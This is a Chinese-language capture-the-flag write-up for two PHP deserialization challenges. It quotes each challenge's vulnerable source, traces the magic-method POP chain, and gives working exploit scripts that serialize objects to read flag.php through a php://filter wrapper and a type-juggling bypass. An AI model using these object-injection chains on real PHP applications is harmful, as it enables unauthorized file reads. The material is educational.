[MRCTF2020]Ezpop

  1. <?php
  2. //flag is in flag.php
  3. //WTF IS THIS?
  4. //Learn From https://ctf.ieki.xyz/library/php.html#%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E9%AD%94%E6%9C%AF%E6%96%B9%E6%B3%95
  5. //And Crack It!
  6. class Modifier {
  7. protected $var;
  8. public function append($value){
  9. include($value);
  10. }
  11. public function __invoke(){
  12. $this->append($this->var);
  13. }
  14. }
  15. class Show{
  16. public $source;
  17. public $str;
  18. public function __construct($file='index.php'){
  19. $this->source = $file;
  20. echo 'Welcome to '.$this->source."<br>";
  21. }
  22. public function __toString(){
  23. return $this->str->source;
  24. }
  25. public function __wakeup(){
  26. if(preg_match("/gopher|http|file|ftp|https|dict|\.\./i", $this->source)) {
  27. echo "hacker";
  28. $this->source = "index.php";
  29. }
  30. }
  31. }
  32. class Test{
  33. public $p;
  34. public function __construct(){
  35. $this->p = array();
  36. }
  37. public function __get($key){
  38. $function = $this->p;
  39. return $function();
  40. }
  41. }
  42. if(isset($_GET['pop'])){
  43. @unserialize($_GET['pop']);
  44. }
  45. else{
  46. $a=new Show;
  47. highlight_file(__FILE__);
  48. }

先看最下面的if 语句,判断是否以get方式传参pop,如果有对pop进行反序列化,否则实例化类show并且高亮index.php
分别看一下几个类

  1. class Modifier {
  2. protected $var;
  3. public function append($value){
  4. include($value);
  5. }
  6. public function __invoke(){
  7. $this->append($this->var);
  8. }
  9. }

声明一个保护类型变量,先定义了append方法,里面可以包含变量$value
又定义了一个__invoke魔术方法,触发条件当脚本尝试将对象调用为函数时触发,操作:将变量$var的值传给append方法并调用

  1. class Show{
  2. public $source;
  3. public $str;
  4. public function __construct($file='index.php'){
  5. $this->source = $file;
  6. echo 'Welcome to '.$this->source."<br>";
  7. }
  8. public function __toString(){
  9. return $this->str->source;
  10. }
  11. public function __wakeup(){
  12. if(preg_match("/gopher|http|file|ftp|https|dict|\.\./i", $this->source)) {
  13. echo "hacker";
  14. $this->source = "index.php";
  15. }
  16. }
  17. }

定义了公有变量$source和变量$str,又使用construct方法初始化$file且值为index.php,输出index.php的内容
定义了
toString方法,将str的值赋给source
__wakeup函数,反序列化时被触发,操作对source变量的内容进行匹配,并且对source赋值为index.php

  1. class Test{
  2. public $p;
  3. public function __construct(){
  4. $this->p = array();
  5. }
  6. public function __get($key){
  7. $function = $this->p;
  8. return $function();
  9. }
  10. }

将变量p的内容赋给数组,方法get用于从不可访问的属性读取数据,即在调用私有属性的时候会自动执行
反推一下:
1.我们需要利用类Modifier里的include这个函数,可以利用伪协议将flag读取出来,include函数需要使用
invoke()来触发,触发条件当脚本尝试将对象调用为函数时触发,需要找到满足的条件
2.get魔术方法以function()函数返回this->p,我们需要将this->p设置为Modifier的实例化对象,那么而且上面对this->p赋值的操作是construct()控制,就可以利用construct
3.类Test里的
get()魔术方法,也需要一定的条件触发,即在读取不可访问的属性的数据时,才会被触发,只有Show类中的toString(),需要将$this->str设置为Test类的实例化对象
4.
toString触发条件:toString()当一个类被当成字符串使用时触发,而wakeup()魔术方法中的正则匹配就可以触发,我们只需要将this->source设置为show类的实例化对象,就可以触发__toString
大致pop链:

  1. Modifier::__invoke<--Test::__get()<--Show::_toString()<--Show::__wakeup()<--Show::__construct()

exp

  1. <?php
  2. class Modifier{
  3. protected $var = "php://filter/read=convert.base64-encode/resource=flag.php";
  4. }
  5. class Test{
  6. public $p;
  7. }
  8. class Show{
  9. public $source;
  10. public $str;
  11. public function __construct(){
  12. $this->str = new Test();
  13. }
  14. }
  15. $a =new Show();
  16. $a->source =new Show();
  17. $a->source->str->p =new Modifier();
  18. echo urlencode(serialize($a));
  19. ?>

[网鼎杯 2020 青龙组]AreUSerialz

  1. <?php
  2. include("flag.php");
  3. highlight_file(__FILE__);
  4. class FileHandler {
  5. protected $op;
  6. protected $filename;
  7. protected $content;
  8. function __construct() {
  9. $op = "1";
  10. $filename = "/tmp/tmpfile";
  11. $content = "Hello World!";
  12. $this->process();
  13. }
  14. public function process() {
  15. if($this->op == "1") {
  16. $this->write();
  17. } else if($this->op == "2") {
  18. $res = $this->read();
  19. $this->output($res);
  20. } else {
  21. $this->output("Bad Hacker!");
  22. }
  23. }
  24. private function write() {
  25. if(isset($this->filename) && isset($this->content)) {
  26. if(strlen((string)$this->content) > 100) {
  27. $this->output("Too long!");
  28. die();
  29. }
  30. $res = file_put_contents($this->filename, $this->content);
  31. if($res) $this->output("Successful!");
  32. else $this->output("Failed!");
  33. } else {
  34. $this->output("Failed!");
  35. }
  36. }
  37. private function read() {
  38. $res = "";
  39. if(isset($this->filename)) {
  40. $res = file_get_contents($this->filename);
  41. }
  42. return $res;
  43. }
  44. private function output($s) {
  45. echo "[Result]: <br>";
  46. echo $s;
  47. }
  48. function __destruct() {
  49. if($this->op === "2")
  50. $this->op = "1";
  51. $this->content = "";
  52. $this->process();
  53. }
  54. }
  55. function is_valid($s) {
  56. for($i = 0; $i < strlen($s); $i++)
  57. if(!(ord($s[$i]) >= 32 && ord($s[$i]) <= 125))
  58. return false;
  59. return true;
  60. }
  61. if(isset($_GET{'str'})) {
  62. $str = (string)$_GET['str'];
  63. if(is_valid($str)) {
  64. $obj = unserialize($str);
  65. }
  66. }

反序列化类型的题,拆开FileHandler这个类看看

class FileHandler {

    protected $op;
    protected $filename;
    protected $content;

    function __construct() {
        $op = "1";
        $filename = "/tmp/tmpfile";
        $content = "Hello World!";
        $this->process();
    }

定义了三个保护性变量,初始化变量并且赋值,调用process类

 public function process() {
        if($this->op == "1") {
            $this->write();
        } else if($this->op == "2") {
            $res = $this->read();
            $this->output($res);
        } else {
            $this->output("Bad Hacker!");
        }
    }

如果变量op==1,调用write()类;如果op==2调用read()类,并且输出调用结果;以上都不是就输出Bad hacker!

private function write() {
        if(isset($this->filename) && isset($this->content)) {
            if(strlen((string)$this->content) > 100) {
                $this->output("Too long!");
                die();
            }
            $res = file_put_contents($this->filename, $this->content);
            if($res) $this->output("Successful!");
            else $this->output("Failed!");
        } else {
            $this->output("Failed!");
        }
    }

私有方法write(),判断是否存在filename和content,content的内容不能太长,将content写进filename内,如果成功,调用output输出Successful;否则输出Failed

 private function read() {
        $res = "";
        if(isset($this->filename)) {
            $res = file_get_contents($this->filename);
        }
        return $res;
    }

存在文件的话就读取,并且输出返回结果

    function __destruct() {
        if($this->op === "2")
            $this->op = "1";
        $this->content = "";
        $this->process();
    }
}

析构函数,如果op==2,重新赋值为1,content为空,再调用process(),到这类FileHandler结束

function is_valid($s) {
    for($i = 0; $i < strlen($s); $i++)
        if(!(ord($s[$i]) >= 32 && ord($s[$i]) <= 125))
            return false;
    return true;
}

会对我们输入的str进行限制,str里的每个字符都必须大于32,小于125
试着逆推一下pop链构造:

FileHandler:read()<--FileHandler:proccess()<--FileHandler:__destruct()

destruct里为强类型比较,process为弱类型
使
destruct里的if为false,而process为true
对于protected的数据序列化时的%00绕过方法:因为php7.1以上的版本对属性类型不敏感,所以可以将属性改为public,public属性序列化不会出现不可见字符

exp

<?php
class FileHandler{
    public $op = 2;
    public $filename="flag.php"; //php:filter/read=convert.base64-encode/resource=flag.php
    public $content = "2";

}
$a = new FileHandler();
echo serialize($a);
?>